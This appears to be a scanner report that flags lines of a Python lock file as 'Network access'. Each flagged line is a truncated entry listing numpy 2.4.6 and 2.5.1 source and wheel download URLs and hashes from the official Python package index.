    sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 207358
  • Network accessline 37
    wheels = [     { url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d72
  • Network accessline 38
    { url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73c
  • Network accessline 39
    { url = "https://files.pythonhosted.org/packages/0e/0d/f5957185c0ee2f3e12f78715aa9e3b353fd83633316c8532b38faa37e3f6/numpy-2.4.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d2345
  • Network accessline 40
    { url = "https://files.pythonhosted.org/packages/ad/40/40a40ee0ddf7ceb782c49af278894b686e586d65d8c1889c8b5da01a3d7d/numpy-2.4.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0
  • Network accessline 41
    { url = "https://files.pythonhosted.org/packages/63/13/f9a8046535cb21deae82f8d03de9617e08882d274fad2539630761888228/numpy-2.4.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff
  • Network accessline 42
    { url = "https://files.pythonhosted.org/packages/33/a8/6fa8c1a345a8c85dbb21932c447bee07c30a2c2a3f31e369c0a84b300147/numpy-2.4.6-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8e
  • Network accessline 43
    { url = "https://files.pythonhosted.org/packages/02/03/74fe2a4cb3817d94d86402f2506554130a2f01414e299b5a843e5a8a957f/numpy-2.4.6-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89cd468399cfd2504718f0ba50e410dca55
  • Network accessline 44
    { url = "https://files.pythonhosted.org/packages/c5/80/3615be3313f7e7696609bc194b9f0101da809df79e859bdb84e0cd043f46/numpy-2.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d083
  • Network accessline 45
    { url = "https://files.pythonhosted.org/packages/ca/ac/a691e0fe2675e370d0e08ff905adc49a1c8830e8cae03efe4477e92cd55d/numpy-2.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46
  • Network accessline 46
    { url = "https://files.pythonhosted.org/packages/15/a7/9bc1cd626d7bf6869bfedf27b91b6ab5dd607758bf8e959d6fa80c6a59cb/numpy-2.4.6-cp311-cp311-win32.whl", hash = "sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8", size =
  • Network accessline 47
    { url = "https://files.pythonhosted.org/packages/c5/31/7fc6239c12bce7e931463251cca4426c465e1876ba3cc785402ef4dd8f4e/numpy-2.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147", si
  • Network accessline 48
    { url = "https://files.pythonhosted.org/packages/27/83/140f85a466595a16382996a1bf06b2b54bcd597488921b0c9daaeeda72af/numpy-2.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577", si
  • Network accessline 49
    { url = "https://files.pythonhosted.org/packages/95/2a/3d7b5ac8aac24feaf9ad7ed58f45b0bbc06d37e4338ae84c9f2298b570f9/numpy-2.4.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17
  • Network accessline 50
    { url = "https://files.pythonhosted.org/packages/ea/12/92c4c131527599e8288d6918e888d88726f84d805d784b771f32408aeaef/numpy-2.4.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54
  • Network accessline 51
    { url = "https://files.pythonhosted.org/packages/ad/fe/c0a6b7b2ca128a8fb228575147073b660656734b8ebe4d76c8fd748dcc79/numpy-2.4.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523
  • Network accessline 52
    { url = "https://files.pythonhosted.org/packages/f3/d4/9770d14ba719432bb90a421bfd443872ed0f70f7264b64bec12ea363d5fd/numpy-2.4.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a4
  • Network accessline 53
    { url = "https://files.pythonhosted.org/packages/c9/c6/50a46a6205feba2343f1d6d17438107c5dc491ed1c736e6ea68689fd906b/numpy-2.4.6-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f9fb9157b4ce2971008323afe4605378
  • Network accessline 54
    { url = "https://files.pythonhosted.org/packages/99/60/14115e6364fa676c5397c2ad3004e527e9aa487abf5d0706ec81bbd08529/numpy-2.4.6-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90f9849678c75fe7afa2d348ac842c168b0
  • Network accessline 55
    { url = "https://files.pythonhosted.org/packages/ae/c5/693cbe59e57db94d2231fa519ca3978dc9e19da5a8f088588f5c6e947ff2/numpy-2.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62
  • Network accessline 56
    { url = "https://files.pythonhosted.org/packages/ef/fc/85b7c4eff9b4966ade25c2273cf7e7012e92366c032058653934b37de044/numpy-2.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c352
  • Network accessline 57
    { url = "https://files.pythonhosted.org/packages/f6/81/e1b27545deedce7f4a0b348618c6b62d74e36a4dc9ccd42f3eb2f85eee32/numpy-2.4.6-cp312-cp312-win32.whl", hash = "sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45", size =
  • Network accessline 58
    { url = "https://files.pythonhosted.org/packages/ab/ca/feab00bd44aa5fe1ad2c18f08b4d3bb92e26484b0b1d1443897809ed528c/numpy-2.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751", si
  • Network accessline 59
    { url = "https://files.pythonhosted.org/packages/63/cf/5a6d34850a39d1093558564f77ee8e8e0bee5061151b8f05a55711001ec7/numpy-2.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8", si
  • Network accessline 60
    { url = "https://files.pythonhosted.org/packages/fb/82/bdab26d7438c6791ca31b7c024ca37c1eab8b726ba236129005cd4a06e45/numpy-2.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1e
  • Network accessline 61
    { url = "https://files.pythonhosted.org/packages/1b/30/a80189bcc7f5e4258b3fbc3968d909d1756f54d023299ecc39ad6fdb9ef8/numpy-2.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e8
  • Network accessline 62
    { url = "https://files.pythonhosted.org/packages/97/12/70b5d0d7c15e1ebb8a6a84a8caa1d19e181d84fb58bb6d70aca29099dec1/numpy-2.4.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2
  • Network accessline 63
    { url = "https://files.pythonhosted.org/packages/ba/8c/ebd2a8f8a83541f8d38cc5667e8c2b69cecfd30da6e45693e8158857d44b/numpy-2.4.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f727
  • Network accessline 64
    { url = "https://files.pythonhosted.org/packages/bb/c5/7b863a97a91671a0338f4253bd3b5a3d3852f0692dae91711c9f4a10e787/numpy-2.4.6-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72fbe16c6fac95aedf5937fa873445cec
  • Network accessline 65
    { url = "https://files.pythonhosted.org/packages/a5/9d/3584b9984ca4c047aea75214ce1a4c4c73d849bd71b604264b7f5653f8a8/numpy-2.4.6-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7830bab239b79cda9c08c2da014761cafb
  • Network accessline 66
    { url = "https://files.pythonhosted.org/packages/05/ae/7c67fba23bd98caec7c99261f3a16072ade14813486b0282cb29846de832/numpy-2.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02
  • Network accessline 67
    { url = "https://files.pythonhosted.org/packages/d9/5d/3b6725cb31d983c5e66916f5d36f6d7e5521129e4c4404d64f918292a5b6/numpy-2.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a4
  • Network accessline 68
    { url = "https://files.pythonhosted.org/packages/f7/da/2ccc6c2fe8898dee01d90c75c5f5f914a23daf99e3e0f59516a08760c8b5/numpy-2.4.6-cp313-cp313-win32.whl", hash = "sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91", size =
  • Network accessline 69
    { url = "https://files.pythonhosted.org/packages/b5/cd/9cc4dc876fb065d5c220aae4d5e14826b2715331bb7618ce1fb07a679d99/numpy-2.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359", si
  • Network accessline 70
    { url = "https://files.pythonhosted.org/packages/39/1e/c0bcba1f8694116485fe28fd1be698c278fcda4141c5b0e53a2aed8b12a8/numpy-2.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778", si
  • Network accessline 71
    { url = "https://files.pythonhosted.org/packages/63/6d/cc5619247c8f4204e507f5883528372e4ac4bb189e579fb859a12e480b1f/numpy-2.4.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b8991
  • Network accessline 72
    { url = "https://files.pythonhosted.org/packages/00/58/f1c39161c87d9e9bed660f1ed4bafc0e403d5ec9650b6dd77aead07d489b/numpy-2.4.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27
  • Network accessline 73
    { url = "https://files.pythonhosted.org/packages/af/57/3917ab0fd97f271a8694513581b8a36c655f111c446852c302f04ccdb6fc/numpy-2.4.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1
  • Network accessline 74
    { url = "https://files.pythonhosted.org/packages/eb/0f/037e64c494b67581ae18193d770adef354c41f3f2c8ebf865602d949bf8f/numpy-2.4.6-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f74a575920ab21fe304421a3fc28793d
  • Network accessline 75
    { url = "https://files.pythonhosted.org/packages/21/a6/5d2bae9c9542eb4df16dc9c46dc79c186e9bad53805dfa5399a6023c6db0/numpy-2.4.6-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ede83e07a75dd06bc501566c1eca2afc0d
  • Network accessline 76
    { url = "https://files.pythonhosted.org/packages/92/14/23d1dfb410ae362cd59ce53e936b1513d545eb40db3949ced632e19a459e/numpy-2.4.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f811606
  • Network accessline 77
    { url = "https://files.pythonhosted.org/packages/4b/6e/23595a2c642cdf3bc567877064bdd7f91c8b0038a4453cf2daf7248eafe9/numpy-2.4.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325
  • Network accessline 78
    { url = "https://files.pythonhosted.org/packages/8a/90/0ac3bc947217e66dec77e7cbc6a1979d1af70b6461b82f620d3bccd5e4c8/numpy-2.4.6-cp313-cp313t-win32.whl", hash = "sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab", size 
  • Network accessline 79
    { url = "https://files.pythonhosted.org/packages/77/71/5673e351671a1d2bd6063b91b44f70c0affea7d1516fa7a6572941ba4aa1/numpy-2.4.6-cp313-cp313t-win_amd64.whl", hash = "sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75", s
  • Network accessline 80
    { url = "https://files.pythonhosted.org/packages/3f/88/19d3503c5046e688f049274b27a3ef3d771152fa80d3ba3d01a3dff61abe/numpy-2.4.6-cp313-cp313t-win_arm64.whl", hash = "sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd", s
  • Network accessline 81
    { url = "https://files.pythonhosted.org/packages/f8/91/3ab2044d05fd16d343c5ac2e69b127f1b2854040dd20b193257c78028bd3/numpy-2.4.6-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce1
  • Network accessline 82
    { url = "https://files.pythonhosted.org/packages/8e/62/764ce66fa4147ae6d73071a3abf804ffe606f174618697c571acdf26a7c9/numpy-2.4.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b8098
  • Network accessline 83
    { url = "https://files.pythonhosted.org/packages/60/61/23f27c172f022e04025b7dc2367f4d63c1a398120607ec896228649a6f48/numpy-2.4.6-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03ef
  • Network accessline 84
    { url = "https://files.pythonhosted.org/packages/03/71/21cf70dc6ea3e3acb95fc53a265b2fc248b981f0194ceb5b475271b8809d/numpy-2.4.6-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db
  • Network accessline 85
    { url = "https://files.pythonhosted.org/packages/d5/91/64288395ee1799bd2e0b04a305dce9666da90c961e1f3fe982a05ee1c036/numpy-2.4.6-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:40fdc1ae7125e518ea98e53e69a4ebc27
  • Network accessline 86
    { url = "https://files.pythonhosted.org/packages/f3/eb/ebffaa97dc55502df69584a8f0dcf07f69a3e0b3e2323670a2722db9aa39/numpy-2.4.6-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c306dea656c12c68f51f4cea133cbe78c
  • Network accessline 87
    { url = "https://files.pythonhosted.org/packages/b8/0b/54f9da33128d7e350fab89c7455902eeae70349ee52bddb448dc4a576f45/numpy-2.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6
  • Network accessline 88
    { url = "https://files.pythonhosted.org/packages/b6/f0/fdebc1052db1cc37c64beb22072d67cd6d1c71adca1299f53dec2b5e20d3/numpy-2.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee1
  • Network accessline 89
    { url = "https://files.pythonhosted.org/packages/aa/b4/298628d98c72b57e57f7165ae6a481a1deaf6f3c28262a6e4c739c275930/numpy-2.4.6-cp314-cp314-win32.whl", hash = "sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1", size =
  • Network accessline 90
    { url = "https://files.pythonhosted.org/packages/df/ac/46de6dda46478f7942f839e094970be2d4a861e005c4b3bf07c92e291a09/numpy-2.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261", si
  • Network accessline 91
    { url = "https://files.pythonhosted.org/packages/78/92/b8b798ac784102c0da830d2257d59358e3d3d90d1e2b3f2575dad976c5cf/numpy-2.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6", si
  • Network accessline 92
    { url = "https://files.pythonhosted.org/packages/30/34/ec28d1aa8115971537c01469ab2011ee96827930f0a124de1000cc2a7ed7/numpy-2.4.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a
  • Network accessline 93
    { url = "https://files.pythonhosted.org/packages/16/bd/f6d1fede4e54e8042a7ff97bb495510f3c220f94bcd9e8b228e87c92cc0d/numpy-2.4.6-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df
  • Network accessline 94
    { url = "https://files.pythonhosted.org/packages/f4/f0/e105b9e2fd728a9910103884decd6951d9dd73896b914a98d9a231de02ee/numpy-2.4.6-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d
  • Network accessline 95
    { url = "https://files.pythonhosted.org/packages/82/dd/1206a7ca6ab15e3f02069707ca96222e202af681bb73756da7527f3cb837/numpy-2.4.6-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1
  • Network accessline 96
    { url = "https://files.pythonhosted.org/packages/51/e7/38d3ea825dcab85a591734decb2f6c67caa7c8367d374df1a1c3842f9b07/numpy-2.4.6-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d92c3819208a60205a12a245c91ad70cb
  • Network accessline 97
    { url = "https://files.pythonhosted.org/packages/93/b7/caabfdf53edf663e0b4eb74d7d405d83baef09eb5e83bcd32d601d72b93e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae74
  • Network accessline 98
    { url = "https://files.pythonhosted.org/packages/f9/45/68d7c33a6bcf3e5aa3bdbd57a367e6f615286dfd6482f97e8ffeb734306e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e9
  • Network accessline 99
    { url = "https://files.pythonhosted.org/packages/9c/50/0753655aa844c99cd9e018aacf76f130f1bd81d881bb74bc0aef5d73a8ba/numpy-2.4.6-cp314-cp314t-win32.whl", hash = "sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063", size 
  • Network accessline 100
    { url = "https://files.pythonhosted.org/packages/b2/d4/7c67becf668f973cb490cec3e98dfd799d866f9c989a54d355672cfa0db6/numpy-2.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627", s
  • Network accessline 101
    { url = "https://files.pythonhosted.org/packages/43/bb/e1c71a4295b1b1d1393d50dbb4f2a36283c6859d9d3892e84f00ec5a91d5/numpy-2.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66", s
  • Network accessline 102
    { url = "https://files.pythonhosted.org/packages/de/12/b422cc84439adc0d00de605bf4a308890ae5c26f2c71fbd73e5d08fbb0dd/numpy-2.4.6-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bb
  • Network accessline 103
    { url = "https://files.pythonhosted.org/packages/44/53/f481bef68011740f8849418d82db07230e825013f31f4eef5ba5b805316a/numpy-2.4.6-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8
  • Network accessline 104
    { url = "https://files.pythonhosted.org/packages/7f/57/42ed575c10ced8af951d426bc4e1f8aff16fd851db33f067036215a7f860/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce2
  • Network accessline 105
    { url = "https://files.pythonhosted.org/packages/6a/ef/f66cc724fcc36c1e364c67f51ae9146090b8b584f27d58b97fdae3edd737/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d9
  • Network accessline 106
    { url = "https://files.pythonhosted.org/packages/1a/9c/c531f2293b91265d8b48e9b329f54fdd7ffae73cb4134ea10cca4237e9cc/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbbdb29840ca3d91ee0fece42
  • Network accessline 107
    { url = "https://files.pythonhosted.org/packages/1a/b0/413077f6b1153ed3cba361401c6783bbad6114804a000cc22eb71c13e190/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ad03c0965fb3c692200e74d458c
  • Network accessline 108
    { url = "https://files.pythonhosted.org/packages/15/ce/e5ec180bc41812edcd8daeb8639d205622c0e8c02259d8ab25a0201b3c2a/numpy-2.4.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e
  • Network accessline 112
    name = "numpy" version = "2.5.1" source = { registry = "https://pypi.org/simple" }
  • Network accessline 113
    version = "2.5.1" source = { registry = "https://pypi.org/simple" } resolution-markers = [
  • Network accessline 114
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 116
    "python_full_version >= '3.12'", ] sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87e
  • Network accessline 117
    ] sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87ec5069f483de61cb9fa3", size = 2075
  • Network accessline 118
    sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87ec5069f483de61cb9fa3", size = 207555
  • Network accessline 119
    wheels = [     { url = "https://files.pythonhosted.org/packages/62/7b/14687aa674250e5e546f616f486b0d56d3631cd5b2415739141ce40bdcea/numpy-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c889b56fe48b1018f764b0eec8df59ab654e9148aa9
  • Network accessline 120
    { url = "https://files.pythonhosted.org/packages/62/7b/14687aa674250e5e546f616f486b0d56d3631cd5b2415739141ce40bdcea/numpy-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c889b56fe48b1018f764b0eec8df59ab654e9148aa91faa12596043500
  • Network accessline 121
    { url = "https://files.pythonhosted.org/packages/e1/19/cc5bb2a3f2913d27d6dbb2c78d25921fabaedc6741d4a5a615a11f3c5bf3/numpy-2.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ab451b59c5643c570974c43aef780703ef1d3b4965d2be07afd530615a935
  • Network accessline 122
    { url = "https://files.pythonhosted.org/packages/42/77/fdf34a71dd30f54979b18603bee915e0aaf825b07afe79acd60b04b691e2/numpy-2.5.1-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:78798bd5b9ad744056af8efa90e3b9ddaa53272a0848a483084a1cc0a13b2
  • Network accessline 123
    { url = "https://files.pythonhosted.org/packages/ce/e2/eb7efa015b4cce41e2517bf182a7fce0d7d5b9d9ed76a29bfa0f4fe4505c/numpy-2.5.1-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:2ae0ca40bcb22d6ba59c1dfd5446f49940b0f2d821fde133f10dda11f816
  • Network accessline 124
    { url = "https://files.pythonhosted.org/packages/a9/4b/a2b32dd94ee9ffbeecb28152240042a3949db33b1c834d44090b80e1b3b8/numpy-2.5.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:61ac47e772e6b8ea489e1d2f441a34c5c
  • Network accessline 125
    { url = "https://files.pythonhosted.org/packages/b8/a9/6e73d68500f80773f65f0654ea932019d6694329a0eb0ed0533de38df376/numpy-2.5.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:59fda5e192b570217ec2580c96f00e9a7e1
  • Network accessline 126
    { url = "https://files.pythonhosted.org/packages/24/7d/ad3e59015135f5261c95fd4cafeff159c955febd83a99a1d9250c4233815/numpy-2.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f7119ebff1a9829e9f431a4f9d28e703023bb6b9fe7c8f724467dbfc2
  • Network accessline 127
    { url = "https://files.pythonhosted.org/packages/83/d0/a39b2fbcde9cb17a1dac678f254b33a6336298af9df338824c685425d5e8/numpy-2.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e824c2acf8862052246be5a44c15da1777940c60d010dd2aab897824d9
  • Network accessline 128
    { url = "https://files.pythonhosted.org/packages/04/12/cff070947791c1ed425ff76413189adbdc2fbe215eba7ce7fa454a03c7f8/numpy-2.5.1-cp312-cp312-win32.whl", hash = "sha256:08d60c810432eb83360958dea0999ac4cfb94531ea8efcbf0b7f277c2068aeb2", size =
  • Network accessline 129
    { url = "https://files.pythonhosted.org/packages/65/66/53f31807a48a750f9d748da273bc3fcedd12b27ff1f3e373bfec55ef2dc0/numpy-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:f7d60026c0bdb1380e83bfa7a0419c4577ee4b9a08880afcb6dadeb74c649fa2", si
  • Network accessline 130
    { url = "https://files.pythonhosted.org/packages/2b/2a/d1a88066b1c14186f5d3c0d18c94f17b064511982bab0578d49ee9d43c29/numpy-2.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:17a25e09640602e10bc8de0e6fa2b3fd68eedd84ba6d7842dc8f32f9ab87bd0b", si
  • Network accessline 131
    { url = "https://files.pythonhosted.org/packages/eb/07/ec2a3f0c91761581d4b7104a740791800025983f9a4dc4e73f91a99aeac4/numpy-2.5.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0bfebd8695f9863592fe744be833a258120b14a9f39da255e8aa8fade2c
  • Network accessline 132
    { url = "https://files.pythonhosted.org/packages/ab/ab/ddb499fc4f8780354395face5b65c7fd107bcd6e1d667a5f07d046956f6f/numpy-2.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:30b44a6b53a7ae63c54c089a8726e5563ed302716c5b7ccc85afade40b0e7
  • Network accessline 133
    { url = "https://files.pythonhosted.org/packages/88/b3/3c28c558a09fc72100c646dac6d2fce8e834c471b0edca01a29996706117/numpy-2.5.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:6165343f81b56ef8f514f396989e529b61d9dc709b99421b07e9f3e698e22
  • Network accessline 134
    { url = "https://files.pythonhosted.org/packages/5e/0e/ce19b985bb15c596f4f05954e76cccc77c845083b3b8f938a6c68e523128/numpy-2.5.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:4939237038ada79308dda3204ac6462df056b5672b2e25db1149cf873668
  • Network accessline 135
    { url = "https://files.pythonhosted.org/packages/2e/20/1ee6614d64332a1bba6411f38e68cb79eec1b2459e20a623777c5c5492a2/numpy-2.5.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c6759f538fb912fc46de0a6b1758ccf7
  • Network accessline 136
    { url = "https://files.pythonhosted.org/packages/ed/a7/2bcd3fdbb87804755c35b729bf8709d62025c5f4cfd7d5b2415997097515/numpy-2.5.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9726558e8db4a5bf7929a70ae50f63abda4
  • Network accessline 137
